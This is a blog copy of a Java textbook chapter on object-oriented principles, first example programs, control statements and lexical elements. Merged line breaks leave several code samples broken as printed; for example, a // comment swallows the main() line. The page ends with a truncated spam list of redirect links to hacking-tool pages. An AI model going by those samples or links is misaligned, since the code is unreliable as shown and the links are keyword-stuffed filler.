abstraction. Humans manage complexity through abstraction. For example, people do not think of a car as a set of tens of thousands of individual parts. They think of it as a well-defined object with its own unique behavior. This abstraction allows people to use a car to drive to the grocery store without being overwhelmed by the complexity of the parts that form the car. They can ignore the details of how the engine, transmission, and braking systems work. Instead, they are free to utilize the object as a whole.</div><div>A powerful way to manage abstraction is through the use of hierarchical classifications.</div><div>This allows you to layer the semantics of complex systems, breaking them into more manageable pieces. From the outside, the car is a single object. Once inside, you see that the car consists of several subsystems: steering, brakes, sound system, seat belts, heating, cellular phone, and so on. In turn, each of these subsystems is made up of more specialized units. For instance, the sound system consists of a radio, a CD player, and/or a tape player. The point is that you manage the complexity of the car (or any other complex system) through the use of hierarchical abstractions.</div><div>Hierarchical abstractions of complex systems can also be applied to computer programs.</div><div>The data from a traditional process-oriented program can be transformed by abstraction into its component objects. A sequence of process steps can become a collection of messages between these objects. Thus, each of these objects describes its own unique behavior. You can treat these objects as concrete entities that respond to messages telling them to do something. This is the essence of object-oriented programming.</div><div>Object-oriented concepts form the heart of Java just as they form the basis for human understanding. It is important that you understand how these concepts translate into programs. As you will see, object-oriented programming is a powerful and natural paradigm for creating programs that survive the inevitable changes accompanying the life cycle of any major software project, including conception, growth, and aging. For example, once you have well-defined objects and clean, reliable interfaces to those objects, you can gracefully decommission or replace parts of an older system without fear.</div><div>The Three OOP Principles</div><div>All object-oriented programming languages provide mechanisms that help you implement the object-oriented model. They are encapsulation, inheritance, and polymorphism. Let's take a look at these concepts now.</div><div>Encapsulation</div><div>Encapsulation is the mechanism that binds together code and the data it manipulates, and keeps both safe from outside interference and misuse. One way to think about encapsulation is as a protective wrapper that prevents the code and data from being arbitrarily accessed by other code defined outside the wrapper. Access to the code and data inside the wrapper is tightly controlled through a well-defined interface. To relate this to the real world, consider the automatic transmission on an automobile. It encapsulates hundreds of bits of information about your engine, such as how much you are accelerating, the pitch of the surface you are on, and the position of the shift lever. You, as the user, have only one method of affecting this complex encapsulation: by moving the gear-shift lever. You can't affect the transmission by using the turn signal or windshield wipers, for example. Thus, the gear-shift lever is a well-defined (indeed, unique) interface to the transmission. Further, what occurs inside the</div><div> </div><div>transmission does not affect objects outside the transmission. For example, shifting gears does not turn on the headlights! Because an automatic transmission is encapsulated, dozens of car manufacturers can implement one in any way they please. However, from the driver's point of view, they all work the same. This same idea can be applied to programming. The power of encapsulated code is that everyone knows how to access it and thus can use it regardless of the implementation details—and without fear of unexpected side effects.</div><div>In Java, the basis of encapsulation is the class. Although the class will be examined in great detail later in this book, the following brief discussion will be helpful now. A class defines the structure and behavior (data and code) that will be shared by a set of objects. Each object of a given class contains the structure and behavior defined by the class, as if it were stamped out by a mold in the shape of the class. For this reason, objects are sometimes referred to as instances of a class. Thus, a class is a logical construct; an object has physical reality.</div><div>When you create a class, you will specify the code and data that constitute that class.</div><div>Collectively, these elements are called members of the class. Specifically, the data defined by the class are referred to as member variables or instance variables. The code that operates on that data is referred to as member methods or just methods. (If you are familiar with C/C++, it may help to know that what a Java programmer calls a method, a C/C++ programmer calls a function.) In properly written Java programs, the methods define how the member variables can be used. This means that the behavior and interface of a class are defined by the methods that operate on its instance data.</div><div>Since the purpose of a class is to encapsulate complexity, there are mechanisms for hiding the complexity of the implementation inside the class. Each method or variable in a class may be marked private or public. The public interface of a class represents everything that external users of the class need to know, or may know. The private methods and data can only be accessed by code that is a member of the class. Therefore, any other code that is not a member of the class cannot access a private method or variable. Since the private members of a class may only be accessed by other parts of your program through the class' public methods, you can ensure that no improper actions take place. Of course, this means that the public interface should be carefully designed not to expose too much of the inner workings of a class (see Figure 2-1).</div><div>Inheritance</div><div>Inheritance is the process by which one object acquires the properties of another object. This is important because it supports the concept of hierarchical classification. As mentioned earlier, most knowledge is made manageable by hierarchical (that is, top-down) classifications. For example, a Golden Retriever is part of the classification dog, which in turn is part of the mammal class, which is under the larger class animal. Without the use of hierarchies, each object would need to define all of its characteristics explicitly. However, by use of inheritance, an object need only define those qualities that make it unique within its class. It can inherit its general attributes from its parent. Thus, it is the inheritance mechanism that makes it possible for one object to be a specific instance of a more general case. Let's take a closer look at this process.</div><div>Most people naturally view the world as made up of objects that are related to each other in a hierarchical way, such as animals, mammals, and dogs. If you wanted to describe animals in an abstract way, you would say they have some attributes, such as size, intelligence, and type of skeletal system. Animals also have certain behavioral aspects; they eat, breathe, and sleep. This description of attributes and behavior is the class definition for animals.</div><div> </div><div><div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnTF_Q6RYBIYz6cPMx8893zLDHE0tOfJaVo7fD2bqvB9xiVPhUnwj8NDoPDb1P8cUoxxPvFuwO2UpfZ6vqRBAqfr9VO5MlqdmCG4Gn2W2vqXHErGJexezq3LGk4fJESZa5I_D3KPFN50c/s1600/1574688483894755-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"> <img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnTF_Q6RYBIYz6cPMx8893zLDHE0tOfJaVo7fD2bqvB9xiVPhUnwj8NDoPDb1P8cUoxxPvFuwO2UpfZ6vqRBAqfr9VO5MlqdmCG4Gn2W2vqXHErGJexezq3LGk4fJESZa5I_D3KPFN50c/s1600/1574688483894755-1.png" width="400"> </a></div><br></div><div> </div><div>Figure 2-1 Encapsulation: public methods can be used to protect private data.</div><div><br></div><div>If you wanted to describe a more specific class of animals, such as mammals, they would have more specific attributes, such as type of teeth and mammary glands. This is known as a subclass of animals, where animals are referred to as mammals' superclass.</div><div>Since mammals are simply more precisely specified animals, they inherit all of the attributes from animals. A deeply inherited subclass inherits all of the attributes from each of its ancestors in the class hierarchy.</div><div>Inheritance interacts with encapsulation as well. If a given class encapsulates some attributes, then any subclass will have the same attributes plus any that it adds as part of its specialization (see Figure 2-2). This is a key concept that lets object-oriented programs grow in complexity linearly rather than geometrically. A new subclass inherits all of the attributes of all of its ancestors. It does not have unpredictable interactions with the majority of the rest of the code in the system.</div><div><br></div><div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsxa_qFF2t__9FNxqvwYQQWUGkEfui94tiEG9sP8dWynqXvxzXSmPketBTGp_NqUuTrH_xd3Sc6dd5kLyx7VP3qLBEh_JKhuibPD0Y_nZAnvFdus3pvD1hPN3hOSHTHW-_SpstvLwh3cc/s1600/1574688479266831-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"> <img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsxa_qFF2t__9FNxqvwYQQWUGkEfui94tiEG9sP8dWynqXvxzXSmPketBTGp_NqUuTrH_xd3Sc6dd5kLyx7VP3qLBEh_JKhuibPD0Y_nZAnvFdus3pvD1hPN3hOSHTHW-_SpstvLwh3cc/s1600/1574688479266831-2.png" width="400"> </a></div></div><div><br></div><div> </div><div>Figure 2-2 Labrador inherits the encapsulation of all its superclasses.</div><div><br></div><div>Polymorphism</div><div>Polymorphism (from Greek, meaning "many forms") is a feature that allows one interface to be used for a general class of actions. The specific action is determined by the exact nature of the situation. Consider a stack (which is a last-in, first-out list). You might have a program that requires three types of stacks. One stack is used for integer values, one for floating- point values, and one for characters. The algorithm that implements each stack is the same, even though the data being stored differs. In a non–object-oriented language, you would be required to create three different sets of stack routines, with each set using different names. However, because of polymorphism, in Java you can specify a general set of stack routines that all share the same names.</div><div> </div><div>More generally, the concept of polymorphism is often expressed by the phrase "one interface, multiple methods." This means that it is possible to design a generic interface to a group of related activities. This helps reduce complexity by allowing the same interface to be used to specify a general class of action. It is the compiler's job to select the specific action (that is, method) as it applies to each situation. You, the programmer, do not need to make this selection manually. You need only remember and utilize the general interface.</div><div>Extending the dog analogy, a dog's sense of smell is polymorphic. If the dog smells a cat, it will bark and run after it. If the dog smells its food, it will salivate and run to its bowl. The same sense of smell is at work in both situations. The difference is what is being smelled, that is, the type of data being operated upon by the dog's nose! This same general concept can be implemented in Java as it applies to methods within a Java program.</div><div>Polymorphism, Encapsulation, and Inheritance Work Together</div><div>When properly applied, polymorphism, encapsulation, and inheritance combine to produce a programming environment that supports the development of far more robust and scaleable programs than does the process-oriented model. A well-designed hierarchy of classes is the basis for reusing the code in which you have invested time and effort developing and testing. Encapsulation allows you to migrate your implementations over time without breaking the code that depends on the public interface of your classes. Polymorphism allows you to create clean, sensible, readable, and resilient code.</div><div>Of the two real-world examples, the automobile more completely illustrates the power of object-oriented design. Dogs are fun to think about from an inheritance standpoint, but cars are more like programs. All drivers rely on inheritance to drive different types (subclasses) of vehicles. Whether the vehicle is a school bus, a Mercedes sedan, a Porsche, or the family minivan, drivers can all more or less find and operate the steering wheel, the brakes, and the accelerator. After a bit of gear grinding, most people can even manage the difference between a stick shift and an automatic, because they fundamentally understand their common superclass, the transmission.</div><div>People interface with encapsulated features on cars all the time. The brake and gas pedals hide an incredible array of complexity with an interface so simple you can operate them with your feet! The implementation of the engine, the style of brakes, and the size of the tires have no effect on how you interface with the class definition of the pedals.</div><div>The final attribute, polymorphism, is clearly reflected in the ability of car manufacturers to offer a wide array of options on basically the same vehicle. For example, you can get an antilock braking system or traditional brakes, power or rack-and-pinion steering, and 4-, 6-, or 8-cylinder engines. Either way, you will still press the brake pedal to stop, turn the steering wheel to change direction, and press the accelerator when you want to move. The same interface can be used to control a number of different implementations.</div><div>As you can see, it is through the application of encapsulation, inheritance, and polymorphism that the individual parts are transformed into the object known as a car. The same is also true of computer programs. By the application of object-oriented principles, the various parts of a complex program can be brought together to form a cohesive, robust, maintainable whole.</div><div>As mentioned at the start of this section, every Java program is object-oriented. Or, put more precisely, every Java program involves encapsulation, inheritance, and polymorphism. Although the short example programs shown in the rest of this chapter and in the next few chapters may not seem to exhibit all of these features, they are nevertheless present. As you</div><div> </div><div>will see, many of the features supplied by Java are part of its built-in class libraries, which do make extensive use of encapsulation, inheritance, and polymorphism.</div><div>A First Simple Program</div><div>Now that the basic object-oriented underpinning of Java has been discussed, let's look at some actual Java programs. Let's start by compiling and running the short sample program shown here. As you will see, this involves a little more work than you might imagine.</div><div>/*</div><div>This is a simple Java program. Call this file "Example.java".</div><div>*/</div><div>class Example {</div><div>// Your program begins with a call to main(). public static void main(String args[]) {</div><div>System.out.println("This is a simple Java program.");</div><div>}</div><div>}</div><div><br></div><div>NOTE The descriptions that follow use the standard Java SE 7 Development Kit (JDK 7), which is available from Oracle. If you are using a different Java development environment, then you may need to follow a different procedure for compiling and executing Java programs. In this case, consult your compiler's documentation for details.</div><div>Entering the Program</div><div>For most computer languages, the name of the file that holds the source code to a program is immaterial. However, this is not the case with Java. The first thing that you must learn about Java is that the name you give to a source file is very important. For this example,</div><div>the name of the source file should be Example.java. Let's see why.</div><div>In Java, a source file is officially called a compilation unit. It is a text file that contains (among other things) one or more class definitions. (For now, we will be using source files that contain only one class.) The Java compiler requires that a source file use the .java filename extension.</div><div>As you can see by looking at the program, the name of the class defined by the program is also Example. This is not a coincidence. In Java, all code must reside inside a class. By convention, the name of the main class should match the name of the file that holds the program. You should also make sure that the capitalization of the filename matches the class name. The reason for this is that Java is case-sensitive. At this point, the convention that filenames correspond to class names may seem arbitrary. However, this convention makes it easier to maintain and organize your programs.</div><div>Compiling the Program</div><div>To compile the Example program, execute the compiler, javac, specifying the name of the source file on the command line, as shown here:</div><div>C:\>javac Example.java</div><div>The javac compiler creates a file called Example.class that contains the bytecode version of the program. As discussed earlier, the Java bytecode is the intermediate representation of</div><div> </div><div>your program that contains instructions the Java Virtual Machine will execute. Thus, the output of javac is not code that can be directly executed.</div><div>To actually run the program, you must use the Java application launcher called java. To do so, pass the class name Example as a command-line argument, as shown here:</div><div>C:\>java Example</div><div><br></div><div>When the program is run, the following output is displayed:</div><div><br></div><div>This is a simple Java program.</div><div><br></div><div>When Java source code is compiled, each individual class is put into its own output file named after the class and using the .class extension. This is why it is a good idea to give your Java source files the same name as the class they contain—the name of the source file will match the name of the .class file. When you execute java as just shown, you are actually specifying the name of the class that you want to execute. It will automatically search for a file by that name that has the .class extension. If it finds the file, it will execute the code contained in the specified class.</div><div>A Closer Look at the First Sample Program</div><div>Although Example.java is quite short, it includes several key features that are common to all Java programs. Let's closely examine each part of the program.</div><div>The program begins with the following lines:</div><div><br></div><div>/*</div><div>This is a simple Java program. Call this file "Example.java".</div><div>*/</div><div>This is a comment. Like most other programming languages, Java lets you enter a remark into a program's source file. The contents of a comment are ignored by the compiler. Instead, a comment describes or explains the operation of the program to anyone who is reading its source code. In this case, the comment describes the program and reminds you that the source file should be called Example.java. Of course, in real applications, comments generally explain how some part of the program works or what a specific feature does.</div><div>Java supports three styles of comments. The one shown at the top of the program is called a multiline comment. This type of comment must begin with /* and end with */. Anything between these two comment symbols is ignored by the compiler. As the name suggests, a multiline comment may be several lines long.</div><div>The next line of code in the program is shown here:</div><div><br></div><div>class Example {</div><div><br></div><div>This line uses the keyword class to declare that a new class is being defined. Example is an identifier that is the name of the class. The entire class definition, including all of its members, will be between the opening curly brace ({) and the closing curly brace (}). For the moment, don't worry too much about the details of a class except to note that in Java,</div><div>all program activity occurs within one. This is one reason why all Java programs are (at least a little bit) object-oriented.</div><div> </div><div>The next line in the program is the single-line comment, shown here:</div><div><br></div><div>// Your program begins with a call to main().</div><div><br></div><div>This is the second type of comment supported by Java. A single-line comment begins with a // and ends at the end of the line. As a general rule, programmers use multiline comments for longer remarks and single-line comments for brief, line-by-line descriptions. The third type of comment, a documentation comment, will be discussed in the "Comments" section later in this chapter.</div><div>The next line of code is shown here:</div><div><br></div><div>public static void main(String args[ ]) {</div><div><br></div><div>This line begins the main( ) method. As the comment preceding it suggests, this is the line at which the program will begin executing. All Java applications begin execution by calling main( ). The full meaning of each part of this line cannot be given now, since it involves a detailed understanding of Java's approach to encapsulation. However, since most of the examples in the first part of this book will use this line of code, let's take a brief look at each part now.</div><div>The public keyword is an access modifier, which allows the programmer to control the visibility of class members. When a class member is preceded by public, then that member may be accessed by code outside the class in which it is declared. (The opposite of public is private, which prevents a member from being used by code defined outside of its class.) In this case, main( ) must be declared as public, since it must be called by code outside of its class when the program is started. The keyword static allows main( ) to be called without having to instantiate a particular instance of the class. This is necessary since main( ) is called by the Java Virtual Machine before any objects are made. The keyword void simply tells the compiler that main( ) does not return a value. As you will see, methods may also return values. If all this seems a bit confusing, don't worry. All of these concepts will be discussed in detail in subsequent chapters.</div><div>As stated, main( ) is the method called when a Java application begins. Keep in mind that Java is case-sensitive. Thus, Main is different from main. It is important to understand that the Java compiler will compile classes that do not contain a main( ) method. But java has no way to run these classes. So, if you had typed Main instead of main, the compiler would still compile your program. However, java would report an error because it would be unable to find the main( ) method.</div><div>Any information that you need to pass to a method is received by variables specified within the set of parentheses that follow the name of the method. These variables are called parameters. If there are no parameters required for a given method, you still need to include the empty parentheses. In main( ), there is only one parameter, albeit a complicated one.</div><div>String args[ ] declares a parameter named args, which is an array of instances of the class String. (Arrays are collections of similar objects.) Objects of type String store character strings. In this case, args receives any command-line arguments present when the program is executed. This program does not make use of this information, but other programs shown later in this book will.</div><div>The last character on the line is the {. This signals the start of main( )'s body. All of the code that comprises a method will occur between the method's opening curly brace and its closing curly brace.</div><div> </div><div>One other point: main( ) is simply a starting place for your program. A complex program will have dozens of classes, only one of which will need to have a main( ) method to get things started. Furthermore, in some cases, you won't need main( ) at all. For example, when creating applets—Java programs that are embedded in web browsers—you won't use main( ) since the web browser uses a different means of starting the execution of applets.</div><div>The next line of code is shown here. Notice that it occurs inside main( ).</div><div><br></div><div>System.out.println("This is a simple Java program.");</div><div><br></div><div>This line outputs the string "This is a simple Java program." followed by a new line on the screen. Output is actually accomplished by the built-in println( ) method. In this case, println( ) displays the string which is passed to it. As you will see, println( ) can be used to display other types of information, too. The line begins with System.out. While too complicated to explain in detail at this time, briefly, System is a predefined class that provides access to the system, and out is the output stream that is connected to the console.</div><div>As you have probably guessed, console output (and input) is not used frequently in most real-world Java applications. Since most modern computing environments are windowed and graphical in nature, console I/O is used mostly for simple utility programs, demonstration programs, and server-side code. Later in this book, you will learn other ways to generate output using Java. But for now, we will continue to use the console I/O methods.</div><div>Notice that the println( ) statement ends with a semicolon. All statements in Java end with a semicolon. The reason that the other lines in the program do not end in a semicolon is that they are not, technically, statements.</div><div>The first } in the program ends main( ), and the last } ends the Example class definition.</div><div><br></div><div>A Second Short Program</div><div>Perhaps no other concept is more fundamental to a programming language than that of a variable. As you probably know, a variable is a named memory location that may be assigned a value by your program. The value of a variable may be changed during the execution of the program. The next program shows how a variable is declared and how it is assigned a value. The program also illustrates some new aspects of console output. As the comments</div><div>at the top of the program state, you should call this file Example2.java.</div><div><br></div><div>/*</div><div>Here is another short example. Call this file "Example2.java".</div><div>*/</div><div><br></div><div>class Example2 {</div><div>public static void main(String args []) {</div><div>int num; // this declares a variable called num num = 100; // this assigns num the value 100 System.out.println("This is num: " + num);</div><div>num = num * 2;</div><div><br></div><div>System.out.print("The value of num * 2 is ");</div><div> </div><div>System.out.println(num);</div><div>}</div><div>}</div><div>When you run this program, you will see the following output:</div><div>This is num: 100</div><div>The value of num * 2 is 200</div><div><br></div><div>Let's take a close look at why this output is generated. The first new line in the program is shown here:</div><div>int num; // this declares a variable called num</div><div><br></div><div>This line declares an integer variable called num. Java (like most other languages) requires that variables be declared before they are used.</div><div>Following is the general form of a variable declaration:</div><div>type var-name;</div><div>Here, type specifies the type of variable being declared, and var-name is the name of the variable. If you want to declare more than one variable of the specified type, you may use a comma-separated list of variable names. Java defines several data types, including integer, character, and floating-point. The keyword int specifies an integer type.</div><div>In the program, the line</div><div>num = 100; // this assigns num the value 100</div><div><br></div><div>assigns to num the value 100. In Java, the assignment operator is a single equal sign.</div><div>The next line of code outputs the value of num preceded by the string "This is num:".</div><div>System.out.println("This is num: " + num);</div><div><br></div><div>In this statement, the plus sign causes the value of num to be appended to the string that precedes it, and then the resulting string is output. (Actually, num is first converted from an integer into its string equivalent and then concatenated with the string that precedes it. This process is described in detail later in this book.) This approach can be generalized. Using the + operator, you can join together as many items as you want within a single println( ) statement.</div><div>The next line of code assigns num the value of num times 2. Like most other languages, Java uses the * operator to indicate multiplication. After this line executes, num will contain the value 200.</div><div>Here are the next two lines in the program:</div><div>System.out.print ("The value of num * 2 is "); System.out.println (num);</div><div>Several new things are occurring here. First, the built-in method print( ) is used to display the string "The value of num * 2 is ". This string is not followed by a newline. This means that when the next output is generated, it will start on the same line. The print( ) method is just like println( ), except that it does not output a newline character after each call. Now look at the call to println( ). Notice that num is used by itself. Both print( ) and println( ) can be used to output values of any of Java's built-in types.</div><div> </div><div>Two Control Statements</div><div>Although Chapter 5 will look closely at control statements, two are briefly introduced here so that they can be used in example programs in Chapters 3 and 4. They will also help illustrate an important aspect of Java: blocks of code.</div><div>The if Statement</div><div>The Java if statement works much like the IF statement in any other language. Further, it is syntactically identical to the if statements in C, C++, and C#. Its simplest form is shown here:</div><div>if(condition) statement;</div><div>Here, condition is a Boolean expression. If condition is true, then the statement is executed. If condition is false, then the statement is bypassed. Here is an example:</div><div><br></div><div>if(num < 100) System.out.println("num is less than 100");</div><div><br></div><div>In this case, if num contains a value that is less than 100, the conditional expression is true, and println( ) will execute. If num contains a value greater than or equal to 100, then the println( ) method is bypassed.</div><div>As you will see in Chapter 4, Java defines a full complement of relational operators which may be used in a conditional expression. Here are a few:</div><div><br></div><div>Operator Meaning</div><div>< Less than</div><div>> Greater than</div><div>== Equal to</div><div><br></div><div>Notice that the test for equality is the double equal sign. Here is a program that illustrates the if statement:</div><div>/*</div><div>Demonstrate the if.</div><div><br></div><div>Call this file "IfSample.java".</div><div>*/</div><div>class IfSample {</div><div>public static void main(String args[]) { int x, y;</div><div><br></div><div>x = 10;</div><div>y = 20;</div><div>if(x < y) System.out.println("x is less than y"); x = x * 2;</div><div>if(x == y) System.out.println("x now equal to y");</div><div> </div><div>x = x * 2;</div><div>if(x > y) System.out.println("x now greater than y");</div><div><br></div><div>// this won't display anything</div><div>if(x == y) System.out.println("you won't see this");</div><div>}</div><div>}</div><div>The output generated by this program is shown here:</div><div>x is less than y x now equal to y</div><div>x now greater than y</div><div>Notice one other thing in this program. The line</div><div>int x, y;</div><div><br></div><div>declares two variables, x and y, by use of a comma-separated list.</div><div>The for Loop</div><div>As you may know from your previous programming experience, loop statements are an important part of nearly any programming language. Java is no exception. In fact, as you will see in Chapter 5, Java supplies a powerful assortment of loop constructs. Perhaps the most versatile is the for loop. The simplest form of the for loop is shown here:</div><div>for(initialization; condition; iteration) statement;</div><div>In its most common form, the initialization portion of the loop sets a loop control variable to an initial value. The condition is a Boolean expression that tests the loop control variable. If the outcome of that test is true, the for loop continues to iterate. If it is false, the loop terminates. The iteration expression determines how the loop control variable is changed each time the loop iterates. Here is a short program that illustrates the for loop:</div><div>/*</div><div>Demonstrate the for loop.</div><div><br></div><div>Call this file "ForTest.java".</div><div>*/</div><div>class ForTest {</div><div>public static void main(String args[]) { int x;</div><div><br></div><div>for(x = 0; x<10; x = x+1) System.out.println("This is x: " + x);</div><div>}</div><div>}</div><div>This program generates the following output:</div><div>This is x: 0 This is x: 1 This is x: 2 This is x: 3</div><div> </div><div>This is x: 4 This is x: 5 This is x: 6 This is x: 7 This is x: 8 This is x: 9</div><div>In this example, x is the loop control variable. It is initialized to zero in the initialization portion of the for. At the start of each iteration (including the first one), the conditional test x < 10 is performed. If the outcome of this test is true, the println( ) statement is executed, and then the iteration portion of the loop is executed. This process continues until the conditional test is false.</div><div>As a point of interest, in professionally written Java programs you will almost never see the iteration portion of the loop written as shown in the preceding program. That is, you will seldom see statements like this:</div><div>x = x + 1;</div><div><br></div><div>The reason is that Java includes a special increment operator which performs this operation more efficiently. The increment operator is ++. (That is, two plus signs back to back.) The increment operator increases its operand by one. By use of the increment operator, the preceding statement can be written like this:</div><div>x++;</div><div><br></div><div>Thus, the for in the preceding program will usually be written like this:</div><div>for(x = 0; x<10; x++)</div><div><br></div><div>You might want to try this. As you will see, the loop still runs exactly the same as it did before.</div><div>Java also provides a decrement operator, which is specified as – –. This operator decreases its operand by one.</div><div><br></div><div>Using Blocks of Code</div><div>Java allows two or more statements to be grouped into blocks of code, also called code blocks. This is done by enclosing the statements between opening and closing curly braces. Once a block of code has been created, it becomes a logical unit that can be used any place that a single statement can. For example, a block can be a target for Java's if and for statements. Consider this if statement:</div><div>if(x < y) { // begin a block x = y;</div><div>y = 0;</div><div>} // end of block</div><div><br></div><div>Here, if x is less than y, then both statements inside the block will be executed. Thus, the two statements inside the block form a logical unit, and one statement cannot execute without the other also executing. The key point here is that whenever you need to logically link two or more statements, you do so by creating a block.</div><div> </div><div>Let's look at another example. The following program uses a block of code as the target of a for loop.</div><div><br></div><div>/*</div><div>Demonstrate a block of code.</div><div><br></div><div>Call this file "BlockTest.java"</div><div>*/</div><div>class BlockTest {</div><div>public static void main(String args[]) { int x, y;</div><div><br></div><div>y = 20;</div><div><br></div><div>// the target of this loop is a block for(x = 0; x<10; x++) {</div><div>System.out.println("This is x: " + x); System.out.println("This is y: " + y); y = y - 2;</div><div>}</div><div>}</div><div>}</div><div><br></div><div>The output generated by this program is shown here:</div><div><br></div><div>This is x: 0</div><div>This is y: 20</div><div>This is x: 1</div><div>This is y: 18</div><div>This is x: 2</div><div>This is y: 16</div><div>This is x: 3</div><div>This is y: 14</div><div>This is x: 4</div><div>This is y: 12</div><div>This is x: 5</div><div>This is y: 10</div><div>This is x: 6</div><div>This is y: 8</div><div>This is x: 7</div><div>This is y: 6</div><div>This is x: 8</div><div>This is y: 4</div><div>This is x: 9</div><div>This is y: 2</div><div>In this case, the target of the for loop is a block of code and not just a single statement. Thus, each time the loop iterates, the three statements inside the block will be executed. This fact is, of course, evidenced by the output generated by the program.</div><div>As you will see later in this book, blocks of code have additional properties and uses.</div><div>However, the main reason for their existence is to create logically inseparable units of code.</div><div> </div><div>Lexical Issues</div><div>Now that you have seen several short Java programs, it is time to more formally describe the atomic elements of Java. Java programs are a collection of whitespace, identifiers, literals, comments, operators, separators, and keywords. The operators are described in the next chapter. The others are described next.</div><div>Whitespace</div><div>Java is a free-form language. This means that you do not need to follow any special indentation rules. For instance, the Example program could have been written all on one line or in any other strange way you felt like typing it, as long as there was at least one whitespace character between each token that was not already delineated by an operator or separator. In Java, whitespace is a space, tab, or newline.</div><div>Identifiers</div><div>Identifiers are used to name things, such as classes, variables, and methods. An identifier may be any descriptive sequence of uppercase and lowercase letters, numbers, or the underscore and dollar-sign characters. (The dollar-sign character is not intended for general use.) They must not begin with a number, lest they be confused with a numeric literal. Again, Java is case-sensitive, so VALUE is a different identifier than Value. Some examples of valid identifiers are</div><div><br></div><div>AvgTemp count a4 $test this_is_ok</div><div><br></div><div>Invalid identifier names include these:</div><div><br></div><div>2count high-temp Not/ok</div><div><br></div><div>Literals</div><div>A constant value in Java is created by using a literal representation of it. For example, here are some literals:</div><div><br></div><div>100 98.6 'X' "This is a test"</div><div><br></div><div>Left to right, the first literal specifies an integer, the next is a floating-point value, the third is a character constant, and the last is a string. A literal can be used anywhere a value of its type is allowed.</div><div>Comments</div><div>As mentioned, there are three types of comments defined by Java. You have already seen two: single-line and multiline. The third type is called a documentation comment. This type of comment is used to produce an HTML file that documents your program. The documentation comment begins with a /** and ends with a */. Documentation comments are explained in the Appendix.</div><div> </div><div>Separators</div><div>In Java, there are a few characters that are used as separators. The most commonly used separator in Java is the semicolon. As you have seen, it is used to terminate statements. The separators are shown in the following table:</div><div><br></div><div>Symbol Name Purpose</div><div>( ) Parentheses Used to contain lists of parameters in method definition and invocation. Also used for defining precedence in expressions, containing expressions in control statements, and surrounding cast types.</div><div>{ } Braces Used to contain the values of automatically initialized arrays. Also used to define a block of code, for classes, methods, and local scopes.</div><div>[ ] Brackets Used to declare array types. Also used when dereferencing array values.</div><div>; Semicolon Terminates statements.</div><div>, Comma Separates consecutive identifiers in a variable declaration. Also used to chain statements together inside a for statement.</div><div>. Period Used to separate package names from subpackages and classes. Also used to separate a variable or method from a reference variable.</div><div>The Java Keywords</div><div>There are 50 keywords currently defined in the Java language (see Table 2-1). These keywords, combined with the syntax of the operators and separators, form the foundation of the Java language. These keywords cannot be used as identifiers. Thus, they cannot be used as names for a variable, class, or method.</div><div>The keywords const and goto are reserved but not used. In the early days of Java, several other keywords were reserved for possible future use. However, the current specification for Java defines only the keywords shown in Table 2-1.</div><div><br></div><div><br></div><div>abstract continue for new switch</div><div>assert default goto package synchronized</div><div>boolean do if private this</div><div>break double implements protected throw</div><div>byte else import public throws</div><div>case enum instanceof return transient</div><div>catch extends int short try</div><div>char final interface static void</div><div>class finally long strictfp volatile</div><div>const float native super while</div><div>Table 2-1 Java Keywords</div><div> </div><div>In addition to the keywords, Java reserves the following: true, false, and null. These are values defined by Java. You may not use these words for the names of variables, classes, and so on.</div><div><br></div><div>The Java Class Libraries</div><div>The sample programs shown in this chapter make use of two of Java's built-in methods: println( ) and print( ). As mentioned, these methods are members of the System class, which is a class predefined by Java that is automatically included in your programs. In the larger view, the Java environment relies on several built-in class libraries that contain many built-in methods that provide support for such things as I/O, string handling, networking, and graphics. The standard classes also provide support for windowed output. Thus, Java as a totality is a combination of the Java language itself, plus its standard classes. As you will see, the class libraries provide much of the functionality that comes with Java. Indeed, part of becoming a Java programmer is learning to use the standard Java classes. Throughout Part I of this book, various elements of the standard library classes and methods are described as needed. In Part II, the class libraries are described in detail.</div><div><br></div><div><b>@£V£RYTHING NT</b></div><div><br></div><h2>More articles</h2><br><ol><li> <a href="https://www.google.jo/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F06%2Fvulners-scanner-for-android-passive.html ">Hack Website Online Tool </a></li><li> <a href="https://www.google.nl/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F06%2Fdumpsterdiver-tool-to-search-secrets-in.html ">Hacker Tools Apk Download </a></li><li> <a href="https://www.google.ru/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F11%2Fnetass2-network-assessment-assistance.html ">Hacking Tools For Games </a></li><li> <a href="https://www.google.nu/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F07%2Ffaraday-v30-collaborative-penetration.html ">Pentest Box Tools Download </a></li><li> <a href="https://www.google.tt/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F11%2Fparrot-security-43-security-gnulinux.html ">Hack Tools Mac </a></li><li> <a href="https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F09%2Ftor-browser-80-everything-you-need-to.html ">Hacking Tools Usb </a></li><li> <a href="https://www.google.ee/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F08%2Fhcxdumptool-small-tool-to-capture.html ">Pentest Tools Url Fuzzer </a></li><li> <a href="https://www.google.ms/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F12%2Fautomatic-api-attack-tool-customizable.html ">Best Pentesting Tools 2018 </a></li><li> <a href="https://www.google.sk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F03%2Fkarma-search-of-emails-and-passwords-on.html ">Pentest Tools Review </a></li><li> <a 